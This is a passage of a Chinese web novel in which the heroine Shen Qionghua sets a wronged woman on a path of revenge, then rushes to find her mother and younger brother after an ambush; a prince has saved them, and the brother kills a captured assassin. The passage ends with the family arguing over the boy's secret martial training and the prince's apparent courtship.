看着谢南渊白中带黑,黑中带青的脸,这才反应过来自己都说了些什么,顿时心中一跳,有些欲哭无泪。 谢南渊犹如看死人一般的眼神看着他,嗓音冰冷,“罚月银两月,可有意见?” 临泽哆哆嗦嗦的违心道:“无……” 谢南渊点点头,拂袖而去。 临泽面无表情,几个呼吸后,终是忍不住抬起手朝脸上打去。 让你多嘴! 第三百九十五章告知 竖日,沈琼华说到做到,当即就带着芍药,以及贴身衣物用品搬去了林婉茹的院中。 对于女儿突如其来的粘人,林婉茹自是不会拒绝,高兴的很。 当即表示沈琼华想住多久都可以,非常欢迎。 于是当夜,谢南渊再一次来找沈琼华想要解释的时候,便发现扑了个空。 接下来第二日,第三日,第四日,日日如此,临泽眼看着自家王爷求爱不得,逐渐有暴走的趋势,颇有些欲哭无泪,却又束手无策。 只能在书房内伺候时,小心再小心。 可饶是如此,临泽的月银还是越扣越多,逐渐从两月至四月,再到半年,最后一年。 拿月银的日子遥遥无期,临泽想与守门的纪北换差事,可纪北也不是个傻的。 临泽武力值比不上纪北,只能硬着头皮在书房伺候,就这么一日日的熬着。 这段时间,沈家是安静了,可是京城内却一直动荡不安。 谢祁安人虽然死了,可他在朝中经营这么多年,又有周贵妃从旁相助,党羽众多。 那日之所以没有冒出头来,一是原以为谢祁安胜券在握,镇国公府必在劫难逃,岂料形势转变太快,谢南渊又突然回京,被打得措手不及,尚未来得及反应。 二是其九成九都是文官,于谋逆一事上,没有兵权作用不大,也就没有跳出来。 三是谢祁安死得太快,人都死了,他们自然不敢再出头。 但他们想躲,皇上却不会允许。 虽然皇上自那日回太极殿就病倒了,但却没有疏于这件事。 这段时日御林军在京中到处抓人,一些大臣今儿个还好好的,明日就被抄了家,弄得京中人心惶惶,唯恐下一个被赐死抄家的就是自己。 各个跟鹌鹑似的缩在府中,连带着族中的纨绔子弟都拘着,不敢放其出来饮酒作乐。 一时间,京中的青楼,酒楼生意都受到了影响,便是连食鼎楼的盈利也少了两成。 外面搅风搅雨,又哭又闹的,沈琼华一概不管,只管在家中坐乖乖女,在林婉茹身旁承欢膝下,母女二人的感情愈发好了。 直到沈琼华从洛希瑶那得到消息,说是三日后,永宁伯及其永宁伯府十岁以上男丁斩首后,女眷便要充入教坊司和奴隶所时,心中一动。 从妆奁中拿了一捆银票,便带着芍药出了门。 一路来到了安锦住着的小宅子。 芍药上前扣了扣门,里头的小厮微微拉开一条缝,见是沈琼华,立即将人迎了进去。 沈琼华在这里见着许久未见的周令芙和吴氏。 二人似是洗尽铅华,都是一副寻常妇人打扮。 吴氏这回面上功夫倒是装得好,不过眼底深处的警惕与害怕还是逃不过沈琼华的眼睛。 不过沈琼华也不在意,只淡淡看向周令芙,“我有话单独与你说。” 周令芙会意,看向吴氏,道:“娘,你先出去,让我与沈……与嘉林县主说说话。” “芙姐儿……”吴氏如今死而复生,对失而复得的周令芙看得如眼珠子一般,生怕一个不小心周令芙便又丢了性命,不肯出去。 周令芙拍了拍她的手,轻声安慰道:“娘,放心,没事的,嘉林县主不会伤害我的。” 吴氏看了沈琼华一眼,又看了看周令芙,这才不情不愿地出去了。 沈琼华挑了挑眉,道:“你倒是对我有信心,你就不怕我救下你是另有图谋,将你关在这里任你自生自灭这么久,如今来找你是想要你去做丢命的事?” 周令芙抿了一口手中捧着的茶水,道:“即便真是如此,我还能反抗不成,如今我与我娘的命都捏在你手里,你想要我们母子的命不过是一句话的事情。” “既如此,还不若好好听话,说不定还能少受些罪。” 看着这与从前判若两人的样子,沈琼华不禁感慨道:“你果真是变了不少,不错,变聪明了,是个好现象。” 这人呐,总要吃一回亏,才会长脑子。 譬如她,譬如周令芙。 如今周令芙身上哪还有一年多前半分嚣张跋扈,趾高气昂的样子,整个人都平和了不少。 只不过沈琼华知晓,这平和只是表面,更深的仇恨被埋在心中。 杀子之仇,杀母之仇,杀身之仇,怎么可能这么轻易就忘却。 沈琼华淡淡开口,“我此番前来,是来告诉你一个好消息的,这个消息,你听了,应当会高兴的,与安王府与永宁伯府有关。” 周令芙身体一僵,握着茶杯的手猛地攥紧。 猝然看向沈琼华,忽而脑中便浮现了之前放入安王书房的那些东西。 在她炙热的眼神中,沈琼华缓缓开口,道:“安王谋逆,已被皇上亲手杀死,永宁伯结党营私,通敌叛国,私通外邦,泄露军机,蛊惑安王谋逆,被皇上赐死,永宁伯府家产抄没。 永宁伯府三族内,男子凡十岁以上者赐死,十岁以下者流放边疆;女子凡十六岁以下者没入教坊司,永世为贱籍,十六岁以上者充作奴籍,永不得赎身。” “所以,三日后,便是永宁伯,周瑾林,与你爹的死期了。” 周令芙手中的茶杯猝然砸落在地,瓷片迸裂,热气蒸腾,模糊了谁的眼。 周令芙眼含热泪,心中不知是大仇得报的痛快多一些,还是对幼时记忆的不舍多一些,最后,只化为了一句话,“我没有爹!” 第三百九十六章 谢南渊这厮,是想要做什么 在她的心中,早在他为了所谓的家族,任由周令宜欺辱她,害死她和娘的时候,就已经死了。 周令芙擦了擦眼角的泪,定了定心神,抬头看向沈琼华,道:“多谢你特意来告知我这个消息,大仇得报,我们母女二人今后便能安安稳稳的生活了。” 对于周令芙的态度,沈琼华很是满意。 她挑了挑眉,缓缓开口道:“我可不是特意来给你送这个消息的。” 在周令芙疑惑不解的目光下,沈琼华接着道:“三日后,待永宁伯被斩首后,周氏一族的女眷就将被押入教坊司和奴隶所。” “当然,老夫人,林氏,以及周令宜都在其中。” 她缓缓朝周令芙走近,将袖中的银票塞入她的手中,声音似是带着蛊惑般,掀起人心中的欲望和仇恨,“她们将你和你娘害到这地步,你不是恨她们吗?” “这些银票足够你买下她们了,待那一日,这府中的护卫,我也会尽数撤掉,你便可随意进出。” “至于到底要不要做,要怎么做,全看你自己了。” 说完,沈琼华轻笑一声,便转身离开了。 周令芙握紧手中的银票,看着沈琼华离开的背影,心中久久不能平静。 马车摇摇晃晃地驶离小院。 芍药倒了一杯温茶递给沈琼华,而后问道:“小姐您若是想找他们算账,咱们自己将人买下便是,为何要借周令芙的手?” 沈琼华抿了一口茶,见芍药眉头拧得要打结了,笑了笑,正要开口,外头就传来叫喊声。 “小姐!小姐!不好了!” 沈琼华掀开车帘,看见来人是茯苓,她脸上还带着血,心中咯噔一声,“茯苓,你怎么了?我娘和阿逸呢?” 茯苓顾不上脸上的伤痛,噗通一声跪在了地上,哽咽道:“小姐,都是奴婢的错,是奴婢的疏忽。” “奴婢陪着夫人和少爷去普陀寺,哪知远离城门后,便被黑衣人围住,奴婢和暗卫们与之厮杀,可他们人多,武功又高,便只能先派两人护送夫人和少爷离开,剩下的人牵制住黑衣人。” “等奴婢与暗卫们甩掉那些黑衣人,去寻夫人和少爷的时候,却发现了护送夫人和少爷离开的两个暗卫的尸体,夫人和少爷不知所踪。” “其余暗卫接着寻人,奴婢便先回来向小姐报信了。” “小姐!都是奴婢不好,是奴婢无用,弄丢了夫人和少爷!”茯苓哭红了眼。 沈琼华只觉天旋地转,若不是芍药及时扶住了她,就要摔到地上。 今日是林婉茹特意算好的黄道吉日,原是约定好一家三口,前往城外的普陀寺上香,将永宁伯府的下场告知于佛祖,以告沈父的在天之灵。 出发前,沈琼华接到了洛希瑶的信,才临时改变主意要来小院见周令芙一面。 原本是想着晚些去上香的,可林婉茹等不及了,她迫不及待要将这个好消息告状于沈父,便让沈琼华自去忙自己的事情,她先带沈逸去普陀寺,等沈琼华办完了事,再跟上就是。 林婉茹执意如此,沈琼华拗不过,想着反正如今永宁伯府已经倾覆,母子二人应当也不会有什么危险,再说了还有十个暗卫跟随,便也同意了。 哪知道会发生这样的事情。 是谁!到底是谁要杀阿娘和阿逸! 沈琼华让芍药下马车先回一趟沈府,不管是杀人也好,搜人也罢,将府内的暗卫们都带出来。 随后强撑着朝茯苓开口道:“快!快带我去!” “是!”茯苓立即坐上车辕,车夫马鞭一扬,马车朝城门飞驰而去。 出了车门又一路经由茯苓指引朝事发地而去。 这一路疾行,颠得沈琼华胃中犹如翻江倒海般,可她却顾不上这些,只让车夫快些,再快些。 除去路上停留下来给芍药做标记的时间,一丝都不敢耽搁。 好不容易到了目的地。 看着空无一人的林子和一地的鲜血,沈琼华目眦欲裂。 芍药的速度很快,再加上是骑马并非是做马车,竟是与沈琼华前后脚到的。 “单凭小姐吩咐!”数十道黑影跪在地上齐声道,黑压压,极具压迫感。 沈琼华牙关紧咬,眼睛死死地看着地上的血,道:“全部人听令,务必找到我娘和阿逸。” “是!” 身随声动,数十道身影顷刻间便散开。 沈琼华也一起跟着寻找,芍药见她状态不太对劲,连忙上前劝道:“小姐,您休息一会儿吧,这么多人肯定能找到夫人和少爷的。” 沈琼华拂开她的手,道:“我无事,找到阿娘和阿逸要紧。” 见沈琼华执意如此,芍药也不好再劝,只能也跟着寻找起来,心中祈盼林婉茹和沈逸千万不要有事。 这些暗卫也不敢离沈琼华太远,林婉茹和沈逸遇刺固然重要,可他们被调来沈府,最主要的是保护沈琼华的安全。 眼下这般情形,谁也不知道还会不会再冒出另一批人出来要刺杀沈琼华。 因此虽是急着找人,却也是一边找,一边时刻注意着沈琼华,令她时刻都在安全保护范围内。 如此一来,搜查的速度自然慢了些。 两刻钟过去,却丝毫不见踪影,沈琼华的面色以肉眼可见的速度变得苍白。 就在她开始疑心,林婉茹和阿逸会不会已经被杀时,她好似听到了暗一的声音。 “沈小姐!沈小姐!” 沈琼华定睛一看,竟真的是暗一。 暗一此次也跟随了出来,是林婉茹和沈逸的随行的暗卫之一。 沈琼华嘴唇嗡动,正要问些什么的时候,暗一便先开了口。 只见他一脸喜色道:“沈小姐!沈夫人和沈少爷找到了,与王爷在一块,在山脚下的茅屋里呢!” …… 当沈琼华跟着暗一来到山脚下的茅屋时。 一推开门,看见的不是地上的尸体与鲜红的血,也不是蓦然抬眸看她的谢南渊,而是坐在一旁的石凳上惊魂未定的林婉茹和站在她身旁满面愤慨的沈逸。 “娘!阿逸!”沈琼华飞奔过去。 “华姐儿!” “阿姐!” 三人紧紧相拥。 沈琼华一直强忍着的泪终于落了下来,随后又被她以极快的速度擦去。 她吸了吸鼻子,松开了林婉茹,问道:“娘,这到底是怎么回事啊?” 林婉茹将沈琼华湿汗的发丝挽至耳后,道:“此番若不是瑞王殿下相救,只怕你就见不到娘了。” 沈琼华闻言,这才想起谢南渊,转身朝谢南渊行了一礼,道:“多谢王爷。” 谢南渊微笑,“你我之间,不必如此。” 说着便想伸手去扶沈琼华。 手伸至一半,瞥见沈琼华陡然瞪大的双眼,以及林婉茹和沈逸震惊的眼神,似是才察觉到自己的失言,以及行为的逾距,薄唇微张,掩耳盗铃般将手收回藏至身后。 解释道:“啊~本王的意思是咱们之间不用这般行礼,生分了~” 解释了,可又似没解释一般,更加暧昧了。 谢南渊这厮,是想要做什么! 娘和阿逸都还在这呢! 第三百九十七章共赴黄泉 沈琼华一记眼刀扫过,却在林婉茹看过来时,顷刻见便收敛了起来,嘴角微微上扬,露出八颗贝齿。 她挽住林婉茹的手臂,解释道:“娘,瑞王殿下的意思是,沈家与瑞王府互相帮衬,不必谢来谢去的,是不是啊,瑞王殿下?” 最后四个字,微微侧头,用眼神威胁谢南渊。 谢南渊听出这句话底下暗藏的咬牙切齿的意味,心中暗笑,颇觉可爱。 可也知道再不澄清只怕真要将人惹恼了,遂顺坡下驴道:“沈小姐说的是,本王就是这个意思。” “沈小姐帮本王良多,于情于理这都是本王该做的,沈夫人就不要再再三感谢了。” “方才沈小姐未来,你已经感谢本王许久了。” 沈琼华立刻看向林婉茹,“娘,你听到了吧?” 林婉茹颔首微笑。 沈琼华立刻转移话题,回归正事,问道:“王爷,你怎会碰到我娘?” 谢南渊道:“本王今日原本是奉父皇之命,前往西郊大营,回程途中遇上了沈夫人和阿逸被人追杀,这才救下了他们。” “她们有些吓坏了,便将人安置在这茅草屋中,派人去沈家给你传信。” “却是不想,你并未在府中,门房的小厮说你身边的丫鬟回来,带了一批人离开,本王便猜到你得到消息赶来了。” “恰巧此时暗一也找来了,本王便让他去找你。” 谢南渊一本正经的将事情娓娓道来。 至于将沈家母子安置在这茅草屋中,不送回京城,是真的觉得母子二人被吓坏了需要歇息,还是想要借机引沈琼华出来相见,也就只有他自己知道了。 “原来如此,王爷派去京城报信的人应是走了其他城门,才未与我遇上。” 谢南渊颔首。 沈琼华看向地上的尸首和仅存的跪在地上的一人,道:“王爷这是已经审问过了?” 谢南渊朝临泽看了一眼,临泽会意,将那人口中的粗布扯出。 那人当即干呕几声,随即不停磕头道:“瑞王饶命!瑞王饶命!我说!我都说!是永宁伯!” “是永宁伯吩咐的!永宁伯吩咐若是有朝一日永宁伯府出了什么意外,务必要杀了沈夫人,二人共赴黄泉。” “永宁伯三日后行刑,这段时间我们一直在找机会下手,可是京城人多眼杂,沈府又有众多守卫,根本寻不到机会。” “直至今日,听闻沈夫人要去普陀寺上香,才决定在路上动手的!” 沈琼华听着这些言论,只觉气愤至极,恨不能闯进诏狱中,将其大卸八块。 永宁伯这个无耻之徒! 自己都要死了,竟还敢觊觎阿娘! 甚至想拉阿娘陪他一起赴死,二人共赴黄泉? 呵!他哪来的脸! 他自己作死,丢了性命,她阿娘心地善良,必定福寿绵长。 竟妄想让阿娘陪他死!做梦! 不消细想,她也知晓像永宁伯这种奸诈至极的无耻之徒是如何想的。 无非是活着不能与阿娘在一起,死了也要拉着阿娘做一对短命鸳鸯。 甚至,还期盼着来世能做夫妻。 如此行径,也配说喜欢阿娘? 无非是见色起意,掩耳盗铃地套了一个深情的外皮罢了。 看得令人作呕。 真正喜欢一个人,是希望她好,即便是自己死了,也希望她好好活着,活出精彩,而不是像永宁伯,自己死了,还要拉着人陪葬。 就这样的人,也配说爱? 沈琼华心中犹如吞了一只苍蝇一样恶心。 也怪她大意,以为永宁伯府和安王府都倾覆了,便安全了,不曾想,永宁伯还留下了这样一道恶心人的命令。 林婉茹听到此人说的话,心中又是惊惧又是害怕,又是气愤。 觉得这永宁伯阴魂不散,就连即将要被砍头了,还缠着她。 沈琼华将林婉茹拥入怀中,看向谢南渊道:“王爷,他们在外可还有人?” 若是还有,一日不曾抓到,就要时刻提防着,只怕余生都要活在担心受怕当中。 谢南渊看向临泽,临泽立即拔出一把匕首插入那人的肩胛中。 那人惨叫一声,颤声道:“没有了!没有了!都被杀了,活着的都被瑞王您抓了,受不住拷打,死了,只剩我一人了。” “王爷!王爷!我全都招了,还请您!还请您饶我一命!饶我一命啊!” 临泽冷笑。 沈夫人是谁? 那是王爷心上人的母亲,是王爷将来的丈母, 王爷正惹沈小姐生气了,不知该如何哄人了。 这人倒好,追杀了沈夫人和沈公子那么久,竟还妄想活命。 王爷要在未来丈母面前挣表现,如何会同意? 不过看在他老老实实交代的份上,倒是还可以留个全尸。 临泽这般想着,就接收到谢南渊的眼神。 他冷笑一声,拔出那人肩胛上的匕首就要朝他的脖颈刺去。 却没料到,有一道身影比他更快。 手起,刀落,鲜血喷出。 一切都发生在瞬息之间。 沈琼华愣愣地看着那道拿着匕首的身影,呼吸都屏住了,“阿逸!” 第三百九十八章现在说他不懂?早干嘛去了! 堪堪十岁的半大少年,原本的华贵的青色衣衫由于方才的逃亡与厮杀已变得脏乱,身形挺拔,不卑不亢。 明明方才才杀了一个人,可握着匕首的手却很稳,几滴鲜红的血飞溅在脸上,沈逸不仅不害怕,反而眼眶猩红,满脸愤怒。 “追杀我和我娘,竟还妄想活命?哼!”可笑。 看着这样的沈逸,沈琼华满脸骇然。 她那乖巧可爱又顽皮捣蛋的弟弟,什么时候变成这个样子? 眼都不眨地便杀掉一个人,还一副云淡风轻的样子。 若不是脸还是那张脸,沈琼华几乎都不敢认。 他什么时候学会杀人的?什么时候会的武? 他到底还有多少事情瞒着她这个姐姐的? 沈琼华嘴唇微张,双眼瞪圆,直勾勾盯着沈逸,好几个深呼吸之后,才从‘沈逸杀人’这一事情中回过神来。 第一反应就是去看林婉茹的反应。 阿娘向来不喜阿逸习武,若是让她看到阿逸杀人的这一幕,岂不是更不能接受了? 被吓晕了也不是没可能。 可让沈琼华意外的是,林婉茹没有被吓晕,也没有被气晕,只是抚着胸口,眼神复杂的看着沈逸。 沈琼华的眼中闪过不解。 就在她疑惑之际,谢南渊不知何时偷偷靠近了她,轻声解释道:“我遇见你娘和阿逸时,阿逸的随身的匕首便已经见了血。” “你来此处不久前,你娘刚刚从昏厥中清醒过来。” 沈琼华恍然大悟,又有些难以置信。 所以,这不是阿逸杀的第一个人? 当时暗一他们牵制住了大部分人,命两个暗卫护送阿娘和阿逸离开,但那两个暗卫死了,足以证明这其中有人追了上来。 很可能是在逃跑的过程中,阿逸为了护住自己和阿娘,才出手杀人的。 不是说阿逸的武功有多高强,高强到能与那些暗卫一较高下,而是他年岁小,又将自己会武功的事情瞒得死死的,连她和阿娘都不知道,就更遑论永宁伯安排的那些人了。 面对一个年少又手无缚鸡之力的半大少年和一个惊慌害怕不已的柔弱妇人,正常人都会放松了警惕,这才让阿逸有了可乘之机。 而阿娘遇见瑞王后之所以昏过去了,不仅是因为差点丢掉了性命受到了惊吓,恐怕更多的,是看见阿逸亲手杀人被吓晕的吧? 毕竟在阿娘心中,阿逸一直都是个偶有闹腾,却也算听话懂事的孩子。 这突然之间杀人…… 形象转变得太快,阿娘接受不了也是有的。 别说阿娘了,便是她,此刻心中也不是完全能接受。 沈琼华收拢思绪,就见这臭小子已经收起了匕首,擦掉了脸上的血迹,拉着她的衣袖,朝她露出甜甜的笑,哪还有之前杀人时的狠厉样子。 又在这装巧卖乖哄骗人! 回去再跟你算账! 沈琼华狠狠地瞪了他一眼。 沈逸吐了吐舌头,低下了头。 人是杀了,不过这些尸体处理起来就颇费劲了。 沈琼华看向谢南渊,道:“王爷,那这些尸体……” “你放心。”谢南渊道:“永宁伯府已经覆灭,其十岁以上男丁不日也要斩首,已成不了气候,况且这些人本就见不得光,死了就死了。” “至于尸体,我会处理妥当的。” 说着,看向沈琼华的目光又带着几分怜惜,温声道:“你今日吓坏了吧,沈夫人和阿逸也受了惊吓,疲惫得紧,早些带他们休息吧。” 沈琼华颔首,转头就见阿娘在竖起耳朵听着这边的动静。 沈琼华:“……” 带着林婉茹和沈逸朝谢南渊告辞后,踏上了谢南渊准备的马车。 马车缓缓驶离。 临泽看着远去的马车,道:“王爷,你就这么让沈小姐走了?不多说会儿话啊?” 两个人加起来说的话还没超过十句,早知如此,干嘛费那功夫回京送信,直接将沈夫人和沈少爷送回京城不就行了。 沈小姐都几日不理王爷了,王爷连人都见不到,在府里生闷气,这如今好不容易见着了,连话都没说上几句。 这进展,他看着都愁得慌。 谢南渊闻言,收回视线,淡淡地瞥了临泽一眼,薄唇轻启,道:“你懂什么!我与她不急于这一时。” 他本就没指望这种情况下,能与她说上多少话,她肯定是要先照顾沈夫人和沈逸的。 再者他今日也不是毫无收获,起码,她应当不会再生他的气了。 更何况,他与她的关系,今日在沈夫人面前掀起了一角。 这便够了,既能引起沈夫人的重视,又不会惹恼她。 若是再多,只怕就要恼羞成怒了。 谢南渊暗自得意于自己对于分寸的把握,只觉得临泽才是个什么都不懂的愣头青,竟还敢给他瞎出主意。 斜眼上下扫视了临泽一眼,满是嫌弃道:“你又不曾有心仪的女子,以后别乱出主意,不懂装懂!” 说完,便抬步离开了。 只徒留临泽一人站在原地,嘴巴张得老大,一只手指指着自己,满脸不可置信。 他不懂?他没有心意的女子?他乱出主意? 到底是谁没人搭理,整日愁眉苦脸在府中苦大仇深,阴晴不定的? 又是谁之前似懂非懂自己的心意之时总是来问他的? 现在知道他没有经历过情事,不懂了? 那他早干嘛去了! 他懂? 他费那大劲将人留住,让人去京城送信。 人见到了又怎么样? 还不是没说上几句话! 临泽越想越气,气鼓鼓地朝外头走去。 一只脚刚迈出院门,就听见身后谢南渊淡淡的吩咐声,“将这些尸体都处理了。” 临泽脚步一顿,在反抗命令出走和闷头回去当受气包之间犹豫不决。 最后牙一咬,眼一闭……狠狠跺了跺脚……转身回去搬尸体了。 临泽在茅草屋搬尸体,那头的进京的道路上,沈琼华和林婉茹和沈逸坐在同一马车里,空气有片刻的凝滞。 林婉茹紧绷着脸,那张一贯柔和的面庞上此刻但这几分凝重,不发一语。 沈逸心虚的绕着手指,时不时朝沈琼华投去求救的眼神。 沈琼华抿唇,偷偷观察林婉茹的表情,由于半晌,到底开了口,“娘,阿逸他……” 话还未说出口,就被林婉茹打断了,“华姐儿,你不必说情,让他自己说。” 随后看向沈逸,道:“说吧,你是何时习的武?师从何人?你才多大,竟然就敢杀人了?” 第三百九十九章因祸得福,歪打正着 见这场景,沈琼华也只能朝沈逸摊了摊手,做出一个爱莫能助的表情。 沈逸顿时双膝一软,老老实实地跪在车厢的地上。 低垂着头,眼珠子直溜溜地转。 实话肯定是不能说的。 若是说了实话,知晓是瑞王教他的,定然要牵扯出他钻狗洞偷溜出府一事。 如今瑞王是他们的救命恩人,娘定然不会怪瑞王教他习武。 而他却要两罪并罚,偷习武加上偷出府,娘不削了他才怪。 沈逸犹豫片刻,才开口道:“是……是之前阿姐让霍先生来府中指导我课业,后来不方便,就变成我每日去往霍府。” “就是在那段时间识得的一个会武功的高人,我求他教我的,娘也不必找他,他已经离开京城了。” “至于杀人,我今日也是第一次,也是实在是逼急了。” “娘,你要打就打吧。” 沈逸说着,将双手摊开奉上,面上一副可怜兮兮的样子。 沈琼华狐疑地看了沈逸一眼。 却还是开口劝道:“娘,你就饶了阿逸这一回吧,他此番也算英勇了一回,且算他将功折罪了吧,就别罚他了。” 沈琼华苦口婆心的劝着,林婉茹看着伸到她面前,还略显稚嫩的双手,面无表情地扬起手。 沈逸紧张地闭上双眼。 下一瞬,便感觉手上一重。 嗯? 这力道不对啊。 沈逸疑惑地睁开双眼,映入眼帘的是一双纤柔的手。 林婉茹牵着沈逸的手,淡淡道:“愣着做什么,起来吧。” “啊?” 沈逸看了看林婉茹,又看了看一旁也分明有些意外的沈琼华。 阿娘居然没发怒? 以往只要提到习武一事,阿娘就必然生气。 可眼下他不仅偷偷习武,还当着阿娘的面杀了人,还杀了不止一个,居然没有生气? 这还是阿娘吗? 不会是被他气晕了头吧? 沈逸脑中胡思乱想着,突然又听林婉茹冷不丁吐出一句话,“你习武一事,我答应了。” “啊?什么!”沈逸惊得一下子蹿了起来,头磕到了车顶,那声响听得都令人头皮一紧。 他‘嗷’一声捂着自己的脑袋蹲下来,缓解头痛。 林婉茹顿时又被他这副样子气得不轻,她伸手指着沈逸,朝沈琼华道:“你看看,你看看他这副样子,上蹿下跳的,一点都不稳重。” “就这样子,我哪敢让他习武,今后要真上了战场,这种上蹿下跳的的最是显眼,也最容易丢了性命。” 沈逸原本还捂着脑袋缓着疼呢,听到这话,连疼都顾不上了,生怕林婉茹反悔,当即就坐在地上,拉着林婉茹的衣角,一副无赖状,道:“娘!娘~你可是答应了让我习武的,可不能反悔了~” 林婉茹冷哼一声,“我倒是想反悔,你会听我的?” “还不是会自己偷偷去学,呵!” 沈逸一哽,此事到底是他理亏。 他露出一个乖巧的笑,双手握拳,坐在地上给林婉茹捶腿,“娘,我就知道你最好了娘~” 林婉茹横了他一眼,伸出食指点了点他的鼻子,道:“就属你最会讨巧卖乖,嘴上哄人,私下里阳奉阴违。” 沈逸吐了吐舌头,不吭声了,只是那眼角眉梢的喜意,压都压不住。 林婉茹收回手,看向沈琼华,道:“还是我华姐儿最是贴心,哪像这个皮猴。” 沈琼华弯唇一笑,也替沈逸开心。 林婉茹拉住沈琼华的手,道:“既然阿逸要习武,那这武师傅一事,还得你多多费心,你看人比娘准。” 沈琼华笑着点头道:“阿娘放心,我会好好甄选的,只是……娘,您为何该了主意?您不是打定主意绝不让阿逸走这条路吗?” 当初有多反对,沈琼华记得清清楚楚。 都说阿逸调皮,但一家人里,阿娘才是最疼阿逸的那一个。 之前阿逸闹着要习武闹成那个样子,阿娘是下了狠心才罚阿逸的。 她还以为,这辈子,阿娘都不会同意让阿逸习武了。 林婉茹轻叹一口气,道:“你也看到了,拦是拦不住的,千方百计的拦着,结果他自个儿偷偷跑去学了。” “与其让他偷偷摸摸找一些不知根底的人习武,他还这么小,万一被人利用的怎么办,还不如干脆找靠谱的武师傅教导他。” “更何况……”林婉茹握住沈琼华的手,“经此一事我也想明白了,人遇事不能只靠躲,越躲旁人越变本加厉。” “君不见那永宁伯都要死了,还敢派人来杀我们。” “今日若不是阿逸杀了人,有那两个暗卫断后,带着我跑了那么久,未必能撑到遇见瑞王。” “从前我总是想着,只要他不习武,不上战场,便能平平安安地长大,娶妻生子,而后终老,如此我死后,到了地底下也能向你爹交代了。” “可却忽略了,不是只有上了战场才会死,人只要活着,什么时候都有可能会出现意外,谁又能预测危机何时会来呢?” “匹夫无罪,怀璧其罪,咱们沈家,家大业大,即便不主动得罪人,说不定哪一日又被人给盯上了。” “若是以后又遇到这种仇人行刺的情况,阿逸因我不许他习武而死于歹人之手,那我才是真的无颜去见你爹了。” “他既是想习武,那便习吧,上不上战场,参不参军以后另说,起码多一个傍身的本事,还能保护自己。” “这样即便是咱们沈家以后出了什么意外,他靠自己也能活。” 沈琼华听她说出这样一番话,便知阿娘是真的想通了。 看来阿逸这小子此番倒是因祸得福,歪打正着了。 第四百章姐弟过招,沈逸完败 侧目再看沈逸,就见对方听着林婉茹的话,连连点头,一副‘娘说得都对的模样’,不仅有些失笑。 沈逸的事情说完了,林婉茹话音一转,看向了沈琼华,眼中带着试探,欲言又止地问道:“华姐儿,你与瑞王殿下……很熟吗?” 沈琼华正看着沈逸,听见林婉茹这话,心中一紧。 状似没有察觉到她的试探一般,浅笑道:“阿娘,你说笑了,瑞王是少年将军,皇室子弟,身份尊贵,怎会与我熟悉?” “不过是先前为了咱们不受迫害投靠了瑞王,安王与永宁伯出幺蛾子的时候,难免要一起商量对策。” “但男女有别,大多时候平宁郡主都在一旁作陪,就是普通的合作关系,谈不上熟悉不熟悉的。” “瑞王殿下在军中待久了,不比其他皇子,没有那么多繁文缛节,平日里行为举止也都随意些,倒是不会让人不自在。” 沈琼华不动声色地说着,心中却将谢南渊骂了个半死。 这人方才一定是故意的! 故意在阿娘面前与她做出亲密的举动,导致她现在要绞尽脑汁往回圆! 或许是沈琼华的态度太过于坦荡,亦或许是沈琼华说的有些道理,林婉茹心里便相信了八九分,只是难免还是有些担忧。 她拍了拍沈琼华的手,语重心长道:“娘的华姐儿很好,在娘的心中,你配得上这世间所有的好儿郎,只是……” “只是世道如此,是家中拖累了你,你如今凭着自己的本事得封县主,再陪以多多的陪嫁,便是京中的官宦人家也是嫁得的,任凭他们谁也不敢欺负到你头上。” “可你若是要嫁给那等皇亲国戚,尤其是那等深受看重的,只怕……只怕对方不会许你正妻之位。” “若是做妾,自己及孩子的命运便都交托到了别人的手中,让你生便生,让你死便死。” “你外祖母就是迫不得已为人妾室,早早地便香消玉殒了,娘的前半生,在你外祖母死后,也只有遇见你爹才窥见了一点甜。” “娘是受过作为庶女的苦的,娘不希望将来你和你的孩子,走了你外祖母和娘的老路,华姐儿,你能明白吗?” 林婉茹苦口婆心的说道,说的都是肺腑之言。 沈琼华闻言,抿了抿唇,看着林婉茹担忧的神情,扬唇一笑,道:“娘,你这是说哪去了,且不说,我有县主的封号,又有颇丰的嫁妆,哪里会自轻自贱到正室夫人不当,去给人当妾?” “再说了,阿逸还未长大,我可舍不得离开娘,这嫁去别家,不仅要伺候公婆,夫君,又要打理府中中馈,处理亲戚关系,人情往来,可见是烦人的紧,我还想多陪在娘身边几年呢,娘,您可不许嫌弃我。” 沈琼华靠进林婉茹怀中撒娇。 林婉茹一颗心都软了,手轻轻抚上沈琼华的乌发,一下一下地顺着,道:“傻孩子,你都多大了,寻常人家里你这般大的姑娘不是已经嫁人了的,就是已经相看好在家中待嫁的,哪有不嫁人的。” 沈琼华轻笑,“即便是要嫁人,我也要离娘近一些,最好就嫁给咱们隔壁府的,就隔着一道门,脚一抬就能回来见娘,您也不用担心我受欺负了。” 林婉茹有些好笑道:“那你这如玉算盘可算是砸了,咱们隔壁的卢员外家中年纪适合的只有他家大姑娘,小公子才三岁呢,可娶不了你。” “阿娘!” 一路笑闹着回了府,林婉茹的精神已经是肉眼可见的疲惫了,倒是沈逸还活蹦乱跳的。 沈琼华挽着林婉茹的隔壁道:“娘,我今晚就不去你院中了,你今晚陪着阿逸吧。” “阿逸虽然现在看起来没什么大碍,但到底还小,第一次……怕是晚上会魇着,还是需要人看着好些。” 林婉茹闻言,点点头,遂转身回自己院中歇息。 沈逸见林婉茹走了,便也想开溜,“阿姐,那我也先回屋中歇息了。” 脚步刚迈出,耳朵就被揪住了,顿时惨叫一声,“阿姐!你做什么!你揪疼我了!” 沈琼华看着反应过于激烈的沈逸,冷哼一声,“别装了,我根本没用那么大的力。” 沈逸身体一僵,陡然收起了方才张牙舞爪的动作,尴尬一笑。 “你!跟我来!我有话要问你!”沈琼华说完,也不等沈逸同不同意,直接强行将人带走。 一路拎着沈逸的耳朵回到了院子,命芍药关上门,沈琼华才松开了沈逸的耳朵。 沈逸揉着自己红肿的耳朵,抱怨道:“阿姐,你这也太暴力了,我今日受了这么严重的惊吓,你不安慰我也就算了,还这般对我,我还是不是你最疼爱的阿弟了?” 沈琼华冷笑一声,在太师椅上坐下,一掌拍在扶手上,“你别在这给我装可怜,老实交代,究竟是谁教你习武的!” 沈逸心中咯噔一声,道:“阿姐,他不曾告知我名讳,我也不知晓他是谁,但他如今已经离开京城了,你就别再刨根问底的了。” 沈琼华嗤笑一声,道:“沈逸啊沈逸,你这话骗得了别人,骗不了你阿姐我。” “你跟阿娘说你是之前去霍家时认得那人开始习武的,确实有这个可能,但这绝对不是全部。” “你去霍家不过短短一月多,此后一直在府中,习武可不是一朝一夕便能成的,得需时时刻刻有人指点才是。” “要么,就是你偷偷溜出府了,要么,就是那人就在府中,你还不从实招来!” 